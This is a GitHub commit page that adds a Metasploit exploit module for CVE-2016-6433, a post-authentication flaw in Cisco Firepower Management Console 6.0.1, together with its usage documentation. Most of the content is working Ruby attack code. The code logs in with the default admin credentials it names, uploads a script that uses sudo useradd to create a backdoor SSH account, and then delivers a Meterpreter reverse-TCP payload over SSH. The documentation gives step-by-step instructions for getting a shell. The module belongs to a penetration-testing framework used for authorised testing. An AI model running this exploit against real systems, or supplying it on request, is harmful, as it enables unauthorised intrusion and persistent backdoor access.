Skip to content

Commit 899ff35

Browse files
committed
Land rapid7#7803, Add CVE-2016-6433 - Post-auth Cisco Firepower Management Console RCE
2 parents 24f7959 + abab1f1 commit 899ff35

File tree

2 files changed

+329
-0
lines changed

2 files changed

+329
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will
2+
create a backdoor SSH account via HTTPS, and then obtain a native payload session
3+
in SSH.
4+
5+
## Vulnerable Application
6+
7+
This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the
8+
virtual appliance here:
9+
10+
https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
11+
12+
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. ```use exploit/linux/http/cisco_firepower_useradd```
18+
3. ```set password [https console password for admin]```
19+
4. ```set rhost [IP]```
20+
5. ```set payload linux/x86/meterpreter/reverse_tcp```
21+
6. ```set lhost [IP]```
22+
7. ```exploit```
23+
8. You should get a session
24+
25+
## Options
26+
27+
**USERNAME** The username for Cisco Firepower Management console
28+
29+
**Password** The password for Cisco Firepower Management cosnole
30+
31+
**NEWSSHUSER** The SSH account to create. By default, this is random.
32+
33+
**NEWSSHPASS** The SSH password for the new account. By default, this is also random.
34+
35+
**SSHPORT** In case for some reason, the SSH changed, otherwise this is 22 by default.
Lines changed: 294 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,294 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
include Msf::Exploit::Remote::SSH
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
18+
'Description' => %q{
19+
This module exploits a vulnerability found in Cisco Firepower Management Console.
20+
The management system contains a configuration flaw that allows the www user to
21+
execute the useradd binary, which can be abused to create backdoor accounts.
22+
Authentication is required to exploit this vulnerability.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Matt', # Original discovery & PoC
28+
'sinn3r' # Metasploit module
29+
],
30+
'References' =>
31+
[
32+
[ 'CVE', '2016-6433' ],
33+
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
34+
],
35+
'Platform' => 'linux',
36+
'Arch' => ARCH_X86,
37+
'Targets' =>
38+
[
39+
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
40+
],
41+
'Privileged' => false,
42+
'DisclosureDate' => 'Oct 10 2016',
43+
'CmdStagerFlavor'=> %w{ echo },
44+
'DefaultOptions' =>
45+
{
46+
'SSL' => 'true',
47+
'SSLVersion' => 'Auto',
48+
'RPORT' => 443
49+
},
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
# admin:Admin123 is the default credential for 6.0.1
55+
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
56+
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
57+
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
58+
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
59+
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
60+
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
61+
], self.class)
62+
end
63+
64+
def check
65+
# For this exploit to work, we need to check two services:
66+
# * HTTP - To create the backdoor account for SSH
67+
# * SSH - To execute our payload
68+
69+
vprint_status('Checking Cisco Firepower Management console...')
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
73+
})
74+
75+
if res && res.code == 200
76+
vprint_status("Console is found.")
77+
vprint_status("Checking SSH service.")
78+
begin
79+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
80+
Net::SSH.start(rhost, 'admin',
81+
port: datastore['SSHPORT'],
82+
password: Rex::Text.rand_text_alpha(5),
83+
auth_methods: ['password'],
84+
non_interactive: true
85+
)
86+
end
87+
rescue Timeout::Error
88+
vprint_error('The SSH connection timed out.')
89+
return Exploit::CheckCode::Unknown
90+
rescue Net::SSH::AuthenticationFailed
91+
# Hey, it talked. So that means SSH is running.
92+
return Exploit::CheckCode::Appears
93+
rescue Net::SSH::Exception => e
94+
vprint_error(e.message)
95+
end
96+
end
97+
98+
Exploit::CheckCode::Safe
99+
end
100+
101+
def get_sf_action_id(sid)
102+
requirements = {}
103+
104+
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
105+
106+
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
107+
res = send_request_cgi({
108+
'method' => 'GET',
109+
'uri' => uri,
110+
'cookie' => "CGISESSID=#{sid}"
111+
})
112+
113+
unless res
114+
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
115+
end
116+
117+
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
118+
119+
unless sf_action_id
120+
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
121+
end
122+
123+
sf_action_id
124+
end
125+
126+
def create_ssh_backdoor(sid, user, pass)
127+
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
128+
sf_action_id = get_sf_action_id(sid)
129+
sh_name = 'exploit.sh'
130+
131+
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
132+
133+
mime_data = Rex::MIME::Message.new
134+
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
135+
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
136+
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
137+
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
138+
mime_data.add_part(
139+
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
140+
'application/octet-stream',
141+
nil,
142+
"form-data; name=\"file\"; filename=\"#{sh_name}\""
143+
)
144+
145+
send_request_cgi({
146+
'method' => 'POST',
147+
'uri' => uri,
148+
'cookie' => "CGISESSID=#{sid}",
149+
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
150+
'data' => mime_data.to_s,
151+
'vars_get' => { 'no_mojo' => '1' },
152+
})
153+
end
154+
155+
def generate_new_username
156+
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
157+
end
158+
159+
def generate_new_password
160+
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
161+
end
162+
163+
def report_cred(opts)
164+
service_data = {
165+
address: rhost,
166+
port: rport,
167+
service_name: 'cisco',
168+
protocol: 'tcp',
169+
workspace_id: myworkspace_id
170+
}
171+
172+
credential_data = {
173+
origin_type: :service,
174+
module_fullname: fullname,
175+
username: opts[:user],
176+
private_data: opts[:password],
177+
private_type: :password
178+
}.merge(service_data)
179+
180+
login_data = {
181+
last_attempted_at: DateTime.now,
182+
core: create_credential(credential_data),
183+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
184+
proof: opts[:proof]
185+
}.merge(service_data)
186+
187+
create_credential_login(login_data)
188+
end
189+
190+
def do_login
191+
console_user = datastore['USERNAME']
192+
console_pass = datastore['PASSWORD']
193+
uri = normalize_uri(target_uri.path, 'login.cgi')
194+
195+
print_status("Attempting to login in as #{console_user}:#{console_pass}")
196+
197+
res = send_request_cgi({
198+
'method' => 'POST',
199+
'uri' => uri,
200+
'vars_post' => {
201+
'username' => console_user,
202+
'password' => console_pass,
203+
'target' => ''
204+
}
205+
})
206+
207+
unless res
208+
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
209+
end
210+
211+
res_cookie = res.get_cookies
212+
if res.code == 302 && res_cookie.include?('CGISESSID')
213+
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
214+
print_status("CGI Session ID: #{cgi_sid}")
215+
print_good("Authenticated as #{console_user}:#{console_pass}")
216+
report_cred(username: console_user, password: console_pass)
217+
return cgi_sid
218+
end
219+
220+
nil
221+
end
222+
223+
def execute_command(cmd, opts = {})
224+
@first_exec = true
225+
cmd.gsub!(/\/tmp/, '/usr/tmp')
226+
227+
# Weird hack for the cmd stager.
228+
# Because it keeps using > to write the payload.
229+
if @first_exec
230+
@first_exec = false
231+
else
232+
cmd.gsub!(/>>/, ' > ')
233+
end
234+
235+
begin
236+
Timeout.timeout(3) do
237+
@ssh_socket.exec!("#{cmd}\n")
238+
vprint_status("Executing #{cmd}")
239+
end
240+
rescue Timeout::Error
241+
fail_with(Failure::Unknown, 'SSH command timed out')
242+
rescue Net::SSH::ChannelOpenFailed
243+
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
244+
retry
245+
end
246+
end
247+
248+
def init_ssh_session(user, pass)
249+
print_status("Attempting to log into SSH as #{user}:#{pass}")
250+
251+
factory = ssh_socket_factory
252+
opts = {
253+
auth_methods: ['password', 'keyboard-interactive'],
254+
port: datastore['SSHPORT'],
255+
use_agent: false,
256+
config: false,
257+
password: pass,
258+
proxy: factory,
259+
non_interactive: true
260+
}
261+
262+
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
263+
264+
begin
265+
ssh = nil
266+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
267+
@ssh_socket = Net::SSH.start(rhost, user, opts)
268+
end
269+
rescue Net::SSH::Exception => e
270+
fail_with(Failure::Unknown, e.message)
271+
end
272+
end
273+
274+
def exploit
275+
# To exploit the useradd vuln, we need to login first.
276+
sid = do_login
277+
return unless sid
278+
279+
# After login, we can call the useradd utility to create a backdoor user
280+
new_user = generate_new_username
281+
new_pass = generate_new_password
282+
create_ssh_backdoor(sid, new_user, new_pass)
283+
284+
# Log into the SSH backdoor account
285+
init_ssh_session(new_user, new_pass)
286+
287+
begin
288+
execute_cmdstager({:linemax => 500})
289+
ensure
290+
@ssh_socket.close
291+
end
292+
end
293+
294+
end

0 commit comments

Comments
 (0)